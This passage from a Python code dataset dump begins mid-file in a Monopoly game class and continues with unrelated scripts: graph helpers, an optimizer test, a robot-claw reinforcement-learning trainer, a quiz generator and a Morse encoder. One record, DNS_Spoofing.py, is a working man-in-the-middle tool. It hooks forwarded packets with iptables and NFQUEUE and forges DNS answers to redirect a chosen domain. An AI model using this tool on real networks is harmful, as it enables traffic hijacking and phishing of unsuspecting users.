amount to debt record\n amountDebt = newPossibleMonetaryAmount\n self.addDebtRecord(\"Bank\", amountDebt)\n else: \n #If there are sufficient funds to pay mortgage w/ interest in full \n #Make the purchase\n self.changeMonetaryValue(-1 * buildingCost) \n bank.purchaseHome(buildingCost)\n\n #Check if there is any existing debt to the bank, and if so reduce debt. \n debtOwned = self.getDebtRecord() \n\n for record in debtOwned: \n if (record[\"Bank\"] == \"Bank\"): \n self.reduceDebt(\"Bank\", buildingCost)\n \n #Purchase a hotel for the property, and return four houses to the bank\n def purchaseHotel(self, propertyName, buildingCost, bank): \n propertyFound = False\n colorGroup = None\n propertyRecord = None\n\n #Search for the property \n for titleDeed in self.titleDeeds: \n if (titleDeed[\"Title Deed\"].getName() == propertyName):\n propertyFound = True\n colorGroup = titleDeed[\"Title Deed\"].getColorGroup()\n propertyRecord = titleDeed\n \n #Add the hotel to the property name if found, return four houses\n if (propertyFound): \n propertyRecord[\"Hotels\"] = propertyRecord[\"Hotels\"] + 1\n self.num_hotels += 1\n\n propertyRecord[\"Houses\"] = 0\n self.num_homes -= Property.HOMES_MAX\n\n #Add the number of hotels built for that monopoly, and reflect four houses returned\n for monopolyColor in self.colorMonopoly:\n if (colorGroup == monopolyColor[\"Color Group\"]):\n monopolyColor[\"Number of Hotels Built\"] = monopolyColor[\"Number of Hotels Built\"] + 1\n monopolyColor[\"Number of Houses Built\"] = monopolyColor[\"Number of Hotels Built\"] - Property.HOMES_MAX\n \n #Check current amounts of player before repaying mortgage\n monetaryAmount = self.getMonetaryValue() \n newPossibleMonetaryAmount = monetaryAmount - buildingCost\n \n #Check if the player already has no money currently (on the condition has title deeds)\n if (monetaryAmount <= 0): \n #Record the amount of money owned to that player, assuming player has title deeds\n self.addDebtRecord(\"Bank\", buildingCost)\n\n self.changeMonetaryValue(-1 * buildingCost) \n bank.purchaseHotel(buildingCost)\n\n #Check if the new monetary value causes player to go below zero. If so, the remaining amount must be recorded as debt (on the condition has title deeds)\n elif (newPossibleMonetaryAmount < 0): \n #Make payment that can be paid now \n payableNow = newPossibleMonetaryAmount + buildingCost\n self.changeMonetaryValue(-1 * payableNow)\n bank.purchaseHotel(payableNow)\n\n #Add the amount to debt record\n amountDebt = newPossibleMonetaryAmount\n self.addDebtRecord(\"Bank\", amountDebt)\n else: \n #If there are sufficient funds to pay mortgage w/ interest in full \n #Make the purchase\n self.changeMonetaryValue(-1 * buildingCost) \n bank.purchaseHotel(buildingCost)\n\n #Check if there is any existing debt to the bank, and if so reduce debt. \n debtOwned = self.getDebtRecord() \n\n for record in debtOwned: \n if (record[\"Player\"] == \"Bank\"): \n self.reduceDebt(\"Bank\", buildingCost)\n \n #Return four houses back to the bank\n bank.returnHomesWithHotel()\n \n #Sell a home from the property\n def sellHome(self, propertyName, sellingAmount, bank): \n propertyFound = False\n colorGroup = None\n propertyRecord = None\n\n #Search for the property \n for titleDeed in self.titleDeeds: \n if (titleDeed[\"Title Deed\"].getName() == propertyName):\n propertyFound = True \n colorGroup = titleDeed[\"Title Deed\"].getColorGroup()\n propertyRecord = titleDeed\n \n #Remove the house to the property name if found\n if (propertyFound): \n propertyRecord[\"Houses\"] = propertyRecord[\"Houses\"] - 1\n self.num_homes -= 1\n \n #Add the number of houses built for that monopoly\n for monopolyColor in self.colorMonopoly:\n if (colorGroup == monopolyColor[\"Color Group\"]):\n monopolyColor[\"Number of Houses Built\"] = monopolyColor[\"Number of Houses Built\"] - 1\n \n #Make the sell\n self.changeMonetaryValue(sellingAmount) \n bank.sellHome(sellingAmount)\n\n #Check if there is any existing debt to the bank, and if so reduce debt. \n debtOwned = self.getDebtRecord() \n\n for record in debtOwned: \n if (record[\"Player\"] == \"Bank\"): \n amountOwned = record[\"Debt Owned\"]\n currentMonetaryAmount = self.getMonetaryValue()\n\n #To reduce debt, the sell must result in positive monetary cash amount\n if (currentMonetaryAmount > 0):\n if (currentMonetaryAmount >= amountOwned): \n #Player has enough cash to clear the debt, and has at least some money\n self.changeMonetaryValue(-1 * amountOwned) \n self.reduceDebt(\"Bank\", amountOwned) \n else: \n #Player does not have enough cash to clear debt fully \n self.changeMonetaryValue(-1 * amountOwned) \n self.reduceDebt(\"Bank\", amountOwned - currentMonetaryAmount)\n \n #Sell a hotel from the property, and get four houses back from the bank\n def sellHotel(self, propertyName, sellingAmount, bank): \n propertyFound = False\n colorGroup = None\n propertyRecord = None\n\n #Search for the property \n for titleDeed in self.titleDeeds: \n if (titleDeed[\"Title Deed\"].getName() == propertyName):\n propertyFound = True\n colorGroup = titleDeed[\"Title Deed\"].getColorGroup()\n propertyRecord = titleDeed\n \n #Add the hotel to the property name if found, return four houses\n if (propertyFound): \n propertyRecord[\"Hotels\"] = propertyRecord[\"Hotels\"] - 1\n self.num_hotels -= 1\n\n propertyRecord[\"Houses\"] = Property.HOMES_MAX\n self.num_homes += Property.HOMES_MAX\n\n #Add the number of hotels built for that monopoly, and reflect four houses returned\n for monopolyColor in self.colorMonopoly:\n if (colorGroup == monopolyColor[\"Color Group\"]):\n monopolyColor[\"Number of Hotels Built\"] = monopolyColor[\"Number of Hotels Built\"] - 1\n monopolyColor[\"Number of Houses Built\"] = monopolyColor[\"Number of Hotels Built\"] + Property.HOMES_MAX\n \n #Make the purchase\n self.changeMonetaryValue(sellingAmount) \n bank.sellHotel(sellingAmount)\n\n #Return four houses back to the bank\n bank.getHomesWithHotel()\n\n #Check if there is any existing debt to the bank, and if so reduce debt. \n debtOwned = self.getDebtRecord() \n\n for record in debtOwned: \n if (record[\"Player\"] == \"Bank\"): \n amountOwned = record[\"Debt Owned\"]\n currentMonetaryAmount = self.getMonetaryValue()\n\n #To reduce debt, the sell must result in positive monetary cash amount\n if (currentMonetaryAmount > 0):\n if (currentMonetaryAmount >= amountOwned): \n #Player has enough cash to clear the debt, and has at least some money\n self.changeMonetaryValue(-1 * amountOwned) \n self.reduceDebt(\"Bank\", amountOwned) \n else: \n #Player does not have enough cash to clear debt fully \n self.changeMonetaryValue(-1 * amountOwned) \n self.reduceDebt(\"Bank\", amountOwned - currentMonetaryAmount)\n\n #Sell the title deed to another player\n def sellTitle(self, titleDeedName, sellingAmount = 0):\n titleDeed = self.removeTitleDeed(titleDeedName)\n self.changeMonetaryValue(sellingAmount)\n \n #Return the card to allow receiver to gain possession\n return titleDeed\n\n #Inherit a title deed from a sell by another player (i.e. original owner)\n def inheritTitle(self, titleDeedCard, purchaseAmount, mortgaged = False, bank = None): \n self.addTitleDeed(titleDeedCard, mortgaged)\n self.changeMonetaryValue(-1 * purchaseAmount)\n\n if (mortgaged): \n #Get the mortgage value\n mortgageValue = titleDeedCard.getMortgageValue()\n\n print(\"This title deed \" + titleDeedCard.getName() + \" is mortgaged. You have two options.\\n\" + \n \"1. Repay the Mortgage Now\\n\" + \n \"2. Pay 10\\% Interest Now\\n\" + \n \"Please type either 'Repay Mortgage' or 'Pay Interest Only'\")\n\n option = input(\"Type in your option: \") #This requires validation \n\n if (option == \"Repay Mortgage\"): \n #Calculate repayment amount with interest\n repayAmount = int(math.ceil((mortgageValue + (mortgageValue * Bank.MORTGAGE_INTEREST))/100.0) * 100)\n\n #Make the repayment mortgage to the bank \n self.removeMortgage(titleDeedCard.getName(), repayAmount, bank)\n\n print(self.getName() + \", your repayment for \" + titleDeedCard.getName() + \" was successful.\\n\")\n\n elif (option == \"Pay Interest Only\"): \n #Calculate interest amount\n interestAmount = int(math.ceil(mortgageValue * Bank.MORTGAGE_INTEREST)/100.0) * 100\n\n #Pay the interest only, user retains mortgage \n self.changeMonetaryValue(-1 * interestAmount)\n if (bank != None): \n bank.add(interestAmount)\n \n #Check if user has run out of cash\n def runOutOfCash(self): \n if (self.getMonetaryValue() <= 0): \n return True #User does not have cash \n return False \n \n #Provide amount for auctioning or selling (if receiver)\n def provideAmount(self, currentPlayStatus, titleDeedName, bidAmount = 0):\n amount = 0 \n inputValid = False\n\n while (not inputValid): \n if (currentPlayStatus == \"Auction\"): \n \n #auctionMessage = \"Please enter your bidding bid for \" + titleDeedName + \". If you wish to skip the bid, please enter amount as '0'.\"\n #auctionMessage += \"\\nEnter bid here: \"\n\n #name of some function to send to Controller....\n #util.dataHandling(auctionMessage) \n\n print(\"Please enter your bidding bid for \" + titleDeedName + \". If you wish to skip the bid, please enter amount as '0'.\") \n\n #Validate the input \n amount = input(\"\\nEnter bid here: \") \n \n elif (currentPlayStatus == \"Selling\"):\n print(\"Please enter the amount you wish to purchase for \" + titleDeedName + \".\")\n\n #Validate the input \n amount = input(\"\\nEnter bid here: \") \n \n if (amount < 0 or amount == None): \n print(\"This is not an acceptable value. Please try again.\")\n elif (currentPlayStatus == \"Auction\" and amount < bidAmount):\n print(\"You must enter a bid amount higher than or equal to the starting amount. Please enter a higher value.\")\n elif (currentPlayStatus == \"Selling\" and amount <= 0):\n print(\"You must enter a non-zero positive value for selling. Please enter a higher value.\")\n else: \n inputValid = True\n\n return amount\n \n #Accept or reject an amount for selling a title deed\n def decideAmount(self, receiverName, titleDeedName, sellingOfferAmount): \n print(\"Player \" + receiverName + \" can purchase your property for \" + str(sellingOfferAmount) + \n \". Do you wish to sell \" + titleDeedName + \" at this amount?\")\n\n #Validate the input\n response = input(\"Enter either 'Accept' or 'Decline': \")\n\n if (response == \"Accept\"):\n return True\n \n #Default amount if not accepted or some other response\n return False\n \n \n\n \n\n\n\n\n","sub_path":"src/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":47147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"21967637","text":"'''\nfilename: graph.py\nconsisting: functions to create graph and subgraph\naffliation: milestone 1\n'''\n\nimport networkx as nx\nfrom a_star import *\nfrom load import *\n\ndef graphMaker(nodeFile, edgeFile):\n # initiates a graph \n G = nx.Graph()\n\n # nodes\n node = nodeLoader(nodeFile)\n for parse in node:\n G.add_node(int(parse[0]), pos=(float(parse[1]), float(parse[2])))\n\n # edges\n edge = edgeLoader(edgeFile)\n for parse in edge:\n G.add_edge(int(parse[1]), int(parse[2]), weight=float(parse[3]))\n\n # return graph\n return G\n\ndef subgraphMaker(G, posts):\n # initiates the subgraph\n subgraph = nx.Graph()\n\n #nodes\n node_pos = G.nodes().data('pos')\n for post in posts:\n subgraph.add_node(post, pos=node_pos[post])\n\n #edges\n for i in range(len(posts)):\n for j in range(i+1, len(posts)):\n subgraph.add_edge(posts[i], posts[j], weight= astar_path_length(G, posts[i], posts[j]))\n \n #return subgraph\n return subgraph\n\n","sub_path":"src/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"61105516","text":"import unittest\nimport numpy as np\nimport pytest\nfrom scipy.optimize import OptimizeResult\nfrom zquantum.core.circuit import ParameterGrid\nfrom zquantum.core.interfaces.optimizer_test import OptimizerTests\nfrom .grid_search import GridSearchOptimizer\n\n\n@pytest.fixture(params=[ParameterGrid([[0, 1.5, 0.1], [0, 1.5, 0.1]])])\ndef optimizer(request):\n return GridSearchOptimizer(request.param)\n\n\nclass TestGridSearchOptimizer(OptimizerTests):\n\n def test_get_values_grid(self):\n # Given\n param_ranges = [(0, 1.1, 0.5)] * 2\n grid = ParameterGrid(param_ranges)\n grid_search_optimizer = GridSearchOptimizer(grid)\n optimization_results = OptimizeResult()\n history = [\n {\"value\": 0},\n {\"value\": 1},\n {\"value\": 2},\n {\"value\": 3},\n {\"value\": 4},\n {\"value\": 5},\n {\"value\": 6},\n {\"value\": 7},\n {\"value\": 8},\n ]\n optimization_results[\"history\"] = history\n correct_values_grid = np.array([[0, 1, 2], [3, 4, 5], [6, 7, 8]])\n\n # When\n values_grid = grid_search_optimizer.get_values_grid(optimization_results)\n\n # Then\n np.testing.assert_array_equal(values_grid, correct_values_grid)\n","sub_path":"src/python/zquantum/optimizers/grid_search_test.py","file_name":"grid_search_test.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"645671465","text":"import os\nimport sys\nimport copy\nimport datetime\nimport collections\nimport robel\nimport gym\nimport torch\nimport torch.nn as nn\nimport gym\nimport numpy as np\nimport argparse\nimport itertools\n\n\nfrom modules import *\nimport utils\n\nfrom tensorboardX import SummaryWriter\n\n\nimport pdb\n\ndef eval_policy(policy, env_name, broken_info = False, eval_episodes=3, real_robot = False, seed = 0):\n env_seed = 2 ** 32 - 1 - seed\n if real_robot:\n eval_env = gym.make(env_name, device_path='/dev/tty.usbserial-FT3WI485')\n else:\n eval_env = gym.make(env_name)\n eval_env.seed(env_seed)\n\n avg_reward = 0.\n for _ in range(eval_episodes):\n state, done = eval_env.reset(), False\n if args.trim_state:\n state = utils.trim_state(state)\n if broken_info:\n state = np.concatenate((state, np.ones(9)))\n while not done:\n action = policy.select_action(np.array(state), evaluate=True)\n state, reward, done, _ = eval_env.step(action)\n if args.trim_state:\n state = utils.trim_state(state)\n avg_reward += reward\n if broken_info:\n state = np.concatenate((state, np.ones(9)))\n \n avg_reward /= eval_episodes\n\n print(\"---------------------------------------\")\n print(\"Evaluation over {} episodes: {:.3f}\".format(eval_episodes, avg_reward))\n print(\"---------------------------------------\")\n return avg_reward\n\nenv = gym.make('DClawTurnFixed-v0')\n# env = gym.make('DClawTurnFixed-v0', device_path='/dev/tty.usbserial-FT3WI485')\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--start-timesteps\", type=int, default=int(1e4))\n # parser.add_argument(\"--start-timesteps\", type=int, default=int(256))\n parser.add_argument(\"--max-timesteps\", type=int, default=int(1e7))\n parser.add_argument(\"--eval-freq\", type=int, default=20)\n parser.add_argument(\"--save-freq\", type=int, default=5000)\n parser.add_argument(\"--record-freq\", type=int, default=5000)\n # parser.add_argument(\"--eval-freq\", type=int, default=1)\n # parser.add_argument(\"--save-freq\", type=int, default=1)\n # parser.add_argument(\"--record-freq\", type=int, default=1)\n parser.add_argument(\"--seed\", type=int, default=0)\n parser.add_argument(\"--buffer-max-size\", type=int, default=int(1e6))\n parser.add_argument(\"--agent-training-episodes\", type=int, default=int(10))\n parser.add_argument(\"--restore-step\", type=int, default=0)\n parser.add_argument(\"--broken-timesteps\", type=int, default=1)\n parser.add_argument(\"--hidden-size\", type=int, default=512)\n parser.add_argument(\"--broken-info\", type=bool, default=True,\n help=\"whether use broken joints indice as a part of state\")\n parser.add_argument(\"--broken-angle\", type=float, default=-0.6)\n parser.add_argument(\"--std\", type=float, default=0.1)\n parser.add_argument('--gamma', type=float, default=0.99, metavar='G',\n help='discount factor for reward (default: 0.99)')\n parser.add_argument('--tau', type=float, default=0.005, metavar='G',\n help='target smoothing coefficient(τ) (default: 0.005)')\n parser.add_argument('--env-name', default='DClawTurnFixed-v0',\n help='Mujoco Gym environment (default: HalfCheetah-v2)')\n parser.add_argument('--policy', default=\"Gaussian\",\n help='Policy Type: Gaussian | Deterministic (default: Gaussian)')\n parser.add_argument('--eval', type=bool, default=True,\n help='Evaluates a policy a policy every 10 episode (default: True)')\n parser.add_argument('--alpha', type=float, default=0.2, metavar='G',\n help='Temperature parameter α determines the relative importance of the entropy\\\n term against the reward (default: 0.2)')\n parser.add_argument('--automatic_entropy_tuning', type=bool, default=False, metavar='G',\n help='Automaically adjust α (default: False)')\n parser.add_argument('--target_update_interval', type=int, default=1, metavar='N',\n help='Value target update per no. of updates per step (default: 1)')\n parser.add_argument('--lr', type=float, default=0.0003, metavar='G',\n help='learning rate (default: 0.0003)')\n parser.add_argument('--batch_size', type=int, default=256, metavar='N',\n help='batch size (default: 256)')\n parser.add_argument('--trim-state', type=bool, default=True)\n args = parser.parse_args()\n env.seed(args.seed)\n if not os.path.exists('./logs'):\n os.system('mkdir logs')\n if not os.path.exists('./saved_models'):\n os.system('mkdir saved_models')\n outdir = datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")\n outdir = os.path.join('./saved_models', outdir)\n os.system('mkdir ' + outdir)\n with open(outdir+'/setting.txt','w') as f:\n # f.writelines(\"fix the broken info bug\\n\")\n f.writelines(\"using random adversary sac\\n\")\n for each_arg, value in args.__dict__.items():\n f.writelines(each_arg + \" : \" + str(value)+\"\\n\")\n writer = SummaryWriter(logdir=('logs/gac{}').format(datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")))\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n state_dim = env.reset().shape[0]\n if args.trim_state:\n state_dim -= 9\n original_state_dim = state_dim\n\n if args.broken_info:\n state_dim += 9\n action_dim = env.action_space.sample().shape[0]\n max_action = env.action_space.high[0]\n agent = SAC(num_inputs=state_dim,\n action_space=env.action_space,\n args=args,\n writer=writer,\n outdir=outdir,\n device=device)\n \"advesarial agent code\"\n # if args.restore_step:\n # print(\"restoring the model {}\".format(args.restore_step))\n # ddpg.restore_model_for_train(args.restore_step)\n # ddpg.index = 0\n # adversary.restore_model(args.restore_step)\n current_state = env.reset()\n if args.broken_info:\n joint_info = np.ones(9)\n current_state = np.concatenate((current_state, joint_info))\n def step(adversarial_action: int, current_state):\n \"input obs obs is processed and its broken info must be all 1s\"\n \"return unprocessed next_state\"\n if args.broken_info:\n current_state = np.concatenate((current_state, np.ones(9)))\n current_state[original_state_dim + adversarial_action] = 0\n # broken_timesteps = 1\n \n total_done = False\n reward_list = []\n for i in range(args.broken_timesteps):\n agent_action = agent.select_action(current_state, evaluate=True)\n agent_action[adversarial_action] = -0.6\n next_state, reward, done, info = env.step(agent_action)\n original_next_state = next_state\n if args.trim_state:\n next_state = utils.trim_state(next_state)\n if args.broken_info:\n joint_info = np.ones(9)\n joint_info[adversarial_action] = 0\n next_state = np.concatenate((next_state, joint_info))\n reward_list.append(reward)\n if done:\n total_done = done\n break\n current_state = next_state\n avg_reward = np.array(reward_list).mean()\n return original_next_state, avg_reward, total_done, info\n episode = 0\n t = 0\n agent_t = 0\n adversary_t = 0\n \n done = False\n minimal_index = 0\n \n for i_episode in itertools.count(1):\n if t > args.max_timesteps:\n break\n for agent_episode in range(args.agent_training_episodes):\n done = False\n \" the agent training loop\"\n broken_joints = collections.deque(maxlen=1)\n current_state = env.reset()\n if args.trim_state:\n current_state = utils.trim_state(current_state)\n if args.broken_info:\n joint_info = np.ones(9)\n current_state = np.concatenate((current_state, joint_info))\n episode_steps = 0\n \n while not done:\n t += 1\n agent_t += 1\n if args.broken_info:\n current_state[original_state_dim + minimal_index] = 0\n \n if agent_t == args.start_timesteps:\n print(\"start ddpg learning\")\n if agent_t < args.start_timesteps:\n original_action = env.action_space.sample()\n else:\n original_action = agent.select_action(current_state, evaluate=False)\n action = copy.deepcopy(original_action)\n action[minimal_index] = args.broken_angle\n next_state, reward, done, info = env.step(action)\n episode_steps += 1\n mask = 1 if episode_steps == env._max_episode_steps else float(not done)\n if args.trim_state:\n next_state = utils.trim_state(next_state)\n if args.broken_info:\n next_state = np.concatenate((next_state, np.ones(9)))\n next_state[original_state_dim + minimal_index] = 0\n # suc = info['score/success']\n agent.add_buffer(current_state, original_action, next_state, reward, mask)\n if agent_t > args.start_timesteps:\n agent.update_parameters()\n current_state = next_state\n\n minimal_index = random.randint(0,8)\n\n if i_episode % args.eval_freq == 0:\n print(\"-------------------------------------------\")\n print(\"steps:{:07d}\".format(t))\n print(\"episode:{:07d}\".format(i_episode))\n avg_reward = eval_policy(agent, 'DClawTurnFixed-v0', broken_info = args.broken_info)\n writer.add_scalar('/eval/avg_reward',avg_reward, i_episode)\n\n","sub_path":"train/train_random_sac.py","file_name":"train_random_sac.py","file_ext":"py","file_size_in_byte":10110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"180116996","text":"from random import shuffle, randint\nfrom peewee import fn, JOIN\n\nfrom config import *\nfrom business_objects.Models import Definition as Definition\nfrom business_objects.Models import Word as Word\n\n# TODO: This is still giving duplicates - change it so that it does not\n# TODO: probably has something to do with querying definitions\n# TODO: try querying words instead\n\n\nclass DefinitionQuestion:\n word_index = None\n question_text = None\n answer_choices = None\n chapter_index = None\n question_type = None\n\n def make_definition_question(\n self,\n chapter_index,\n question_type=None,\n cumulative=False,\n ):\n # if no question type is requested, flip a coin to determine the question type\n self.chapter_index = chapter_index\n if question_type not in [0, 1]:\n self.question_type = randint(0, 1)\n else:\n self.question_type = question_type\n\n # question type 1 is word prompt with definition choices\n # this is pretty inefficient currently as it pings the database 5 times\n # question type 0 only makes one query\n # TODO: make this more efficient\n if self.question_type == 1:\n\n if cumulative:\n query = (\n Word\n .select()\n .where(Word.chapter_index <= chapter_index)\n .order_by(fn.Rand())\n .limit(number_of_multiple_choices)\n )\n\n else:\n query = (\n Word\n .select()\n .where(Word.chapter_index == chapter_index)\n .order_by(fn.Rand())\n .limit(number_of_multiple_choices)\n )\n\n definition_list = []\n for word in query:\n random_definition = (\n Definition\n .select()\n .where(Definition.word_index == word.word_index)\n .order_by(fn.Rand())\n .get()\n )\n definition = {\n \"text\": random_definition.definition,\n \"index\": random_definition.word_index_id\n }\n definition_list.append(definition)\n self.answer_choices = definition_list\n self.question_text = query[0].word\n self.word_index = query[0].word_index\n\n # question type 0 is definition prompt with word choices\n elif self.question_type == 0:\n\n if cumulative:\n query = (Definition\n .select(Definition, Word)\n .join(Word)\n .where(Word.chapter_index <= chapter_index)\n .order_by(fn.Rand())\n .limit(number_of_multiple_choices)\n )\n else:\n query = (Definition\n .select(Definition, Word)\n .join(Word)\n .where(Word.chapter_index == chapter_index)\n .order_by(fn.Rand())\n .limit(number_of_multiple_choices)\n )\n\n word_list = []\n for element in query:\n word = {\n \"text\": element.word_index.word,\n \"index\": element.word_index_id\n }\n word_list.append(word)\n\n self.answer_choices = word_list\n self.question_text = query[0].definition\n self.word_index = query[0].word_index_id\n\n shuffle(self.answer_choices)\n\n return self\n\n def get_json_min(self):\n return {\n \"prompt\": self.question_text,\n \"answers\": self.answer_choices,\n \"chapter_index\": self.chapter_index,\n \"question_type\": self.question_type\n }\n","sub_path":"business_objects/DefinitionQuestion.py","file_name":"DefinitionQuestion.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"236493924","text":"from csptools import *\nimport logging\n\nlogging.getLogger().setLevel(logging.INFO)\n\ndomain = {1,2,3}\nE = [ [1,2],[2,3] ] # list of pairs...\nF = [ [3,1], [1,3] ]\nstructure = RelationalStructure(domain, [[E,2], [F,2]])\n\n# outputs a majority polymorphism\nfor m in majority(structure):\n print(m)\n break\n \nfor o in olsak(structure,structure):\n print(o)\n break\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"367315290","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 18 11:43:18 2020\r\n\r\n@author: salam_000\r\n\"\"\"\r\n\r\nimport re\r\n\r\n\r\ndef morse(text):\r\n encrypt = {\r\n 'A': '.-', 'B': '-...', 'C': '-.-.', \r\n 'D': '-..', 'E': '.', 'F': '..-.', \r\n 'G': '--.', 'H': '....', 'I': '..', \r\n 'J': '.---', 'K': '-.-', 'L': '.-..', \r\n 'M': '--', 'N': '-.', 'O': '---', \r\n 'P': '.--.', 'Q': '--.-', 'R': '.-.', \r\n 'S': '...', 'T': '-', 'U': '..-', \r\n 'V': '...-', 'W': '.--', 'X': '-..-',\r\n 'Y': '-.--', 'Z': '--..', ' ': '.....'\r\n }\r\n decrypt = {value: key for key, value in encrypt.items()}\r\n \r\n if re.match(r'(\\s|-|\\.) +', text):\r\n return ' '.join(decrypt[i] for i in text.split())\r\n return ' '.join(encrypt[i] for i in text.upper())\r\nprint(morse('shaxi'))\r\n\"\"\"\r\nimport sys\r\nif __name__ == \"__main__\":\r\n print(morse(sys.argv[0])) \"\"\"\r\n \r\n\"\"\"Running the script directly from the console, it will be the main program.\r\n In this case, to pass the argument to the morse function and print result \r\n is wanted. To import the more function in another Python file, no need to\r\n to run this part of code. sys.arg[0] contains the file name (morse.py)\"\"\"","sub_path":"morse.py","file_name":"morse.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"23681323","text":"#! /usr/bin/evn python\nimport netfilterqueue\nimport subprocess\nimport scapy.all as scapy\n\n\nclass DNS_spoofing:\n def __init__(self, target_address, spoofed_address):\n self.target_address = target_address\n self.spoofed_address = spoofed_address\n self.queue = netfilterqueue.NetfilterQueue()\n self.queue.bind(0, self.process_packet)\n\n def process_packet(self, packet):\n scapy_packet = scapy.IP(packet.get_payload())\n if scapy_packet.haslayer(scapy.DNSRR):\n print(\"\\r\"+scapy_packet.summary(), end=\"\")\n qname = scapy_packet[scapy.DNSQR].qname\n if self.target_address in str(qname):\n answer = scapy.DNSRR(rrname=qname, rdata=self.spoofed_address)\n scapy_packet[scapy.DNS].an = answer\n scapy_packet[scapy.DNS].ancount = 1\n del scapy_packet[scapy.IP].len\n del scapy_packet[scapy.IP].chksum\n del scapy_packet[scapy.UDP].len\n del scapy_packet[scapy.UDP].chksum\n packet.set_payload(bytes(scapy_packet))\n packet.accept()\n\n def run(self):\n subprocess.call(\"iptables -I FORWARD -j NFQUEUE --queue-num 0\", shell=True)\n self.queue.run()\n","sub_path":"MITM-Framework/files/DNS_Spoofing.py","file_name":"DNS_Spoofing.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"24125934","text":"import itertools, os, re\nimport tempfile, subprocess\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torchtext\nfrom torchtext.vocab import Vectors, GloVe\nuse_gpu = torch.cuda.is_available()\n\nclass Logger():\n '''Prints to a log file and to standard output''' \n def __init__(self, path):\n if os.path.exists(path):\n self.path = path\n else:\n raise Exception('path does not exist')\n \n def log(self, info, stdout=True):\n with open(os.path.join(self.path, 'log.log'), 'a') as f:\n print(info, file=f)\n if stdout:\n print(info)\n \n def save_model(self, model_dict):\n #with open(os.path.join(self.path, 'model.pkl'), 'w') as f:\n torch.save(model_dict, os.path.join(self.path, 'model.pkl'))\n\nclass AverageMeter():\n '''Computes and stores the average and current value. \n Taken from the PyTorch ImageNet tutorial'''\n def __init__(self):\n self.reset()\n \n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n \n def update(self, val, n=1):\n self.val = val\n self.sum = self.sum + val * n\n self.count = self.count + n\n self.avg = self.sum / self.count\n\ndef moses_multi_bleu(outputs, references, lw=False):\n '''Outputs, references are lists of strings. Calculates BLEU score using https://raw.githubusercontent.com/moses-smt/mosesdecoder/master/scripts/generic/multi-bleu.perl -- Python function from Google '''\n \n # Save outputs and references as temporary text files\n out_file = tempfile.NamedTemporaryFile()\n out_file.write('\\n'.join(outputs).encode('utf-8'))\n out_file.write(b'\\n')\n out_file.flush() #?\n ref_file = tempfile.NamedTemporaryFile()\n ref_file.write('\\n'.join(references).encode('utf-8'))\n ref_file.write(b'\\n')\n ref_file.flush() #?\n \n # Use moses multi-bleu script\n with open(out_file.name, 'r') as read_pred:\n bleu_cmd = ['scripts/multi-bleu.perl']\n bleu_cmd = bleu_cmd + ['-lc'] if lw else bleu_cmd\n bleu_cmd = bleu_cmd + [ref_file.name]\n try: \n bleu_out = subprocess.check_output(bleu_cmd, stdin=read_pred, stderr=subprocess.STDOUT)\n bleu_out = bleu_out.decode('utf-8')\n #print(bleu_out)\n bleu_score = float(re.search(r'BLEU = (.+?),', bleu_out).group(1))\n except subprocess.CalledProcessError as error:\n print(error)\n raise Exception('Something wrong with bleu script')\n bleu_score = 0.0\n \n # Close temporary files\n out_file.close()\n ref_file.close()\n \n return bleu_score\n\n","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"123056432","text":"import argparse\nimport glob\nimport os\nimport sys\nimport random\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data.dataloader import DataLoader\nfrom torch.autograd import Variable\nfrom torch import cuda\n\nimport baseline as encoder\nimport pr_dataset\n\n\ndef test(model, data, num_per_class, cuda_dev):\n correct_total, xy_count = 0, 0\n labels = data.idx2name.items()\n num_classes = len(data.get_all_labels())\n correct = np.zeros(num_classes)\n confusion = np.zeros((num_classes, num_classes))\n predict_confusion = np.zeros((num_classes, num_classes))\n for i, label in labels:\n # get (x, y)'s from dataset object, select num_per_class of them\n class_datapoints = list(data.get_from_class(label))\n random.shuffle(class_datapoints)\n num_d = min(num_per_class, len(class_datapoints))\n probs = np.zeros(num_classes) # [0. for j in range(len(data.get_all_labels()))]\n preds = np.zeros(num_classes)\n for x, y in class_datapoints[:num_d]:\n model.eval()\n z = model([x])\n # record softmax \"probabilities\" for each label\n p = torch.nn.functional.softmax(z).cpu().data.numpy()\n probs = probs + p\n # make prediction\n _, y_hat = torch.max(z, 1)\n preds[y_hat.data[0]] += 1\n c = int(y_hat.data[0] == y)\n correct[i] += c\n correct_total += c\n xy_count += 1\n # column i shows probabilities that composer i is classified as...\n confusion[:, i] = probs / num_d\n correct[i] /= num_d\n predict_confusion[:, i] = preds / num_d\n\n print(\"*\"*10, \"Probabilities\", \"*\"*10, \"\\n\")\n print(\" \" * 11, end=\"\")\n short_label = []\n for _, label in labels:\n l = min(8, len(label))\n short_label.append(\"{:>8}\".format(label[:l]))\n for sl 